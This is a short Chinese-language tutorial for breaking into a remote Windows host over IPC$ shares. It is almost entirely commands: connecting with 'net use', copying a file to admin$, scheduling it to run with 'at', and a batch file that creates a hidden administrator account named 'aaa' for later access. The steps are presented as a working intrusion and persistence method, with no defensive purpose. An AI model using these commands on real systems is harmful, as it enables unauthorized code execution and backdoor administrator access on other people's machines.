前提：1.遠程主機防火牆關閉
2.遠程主機開啓了IPC共享（開啓了139端口）
步驟：1.net use \\10.10.10.9\IPC$ "密碼" /user:""
2.copy 本地文件 \\10.10.10.9\admin$
3.net time \\10.10.10.9 (查看遠程主機時間)
4.at \\10.10.10.9 時間 "本地文件路徑"
5.以上爲在遠程主機定時執行某個程序
6.可以製作一個userAdd.bat:
net user aaa /add
net localgroup administrators aaa /add
這樣以後可以用aaa訪問此遠程主機了。
7.net start 服務名 開啓想要的服務。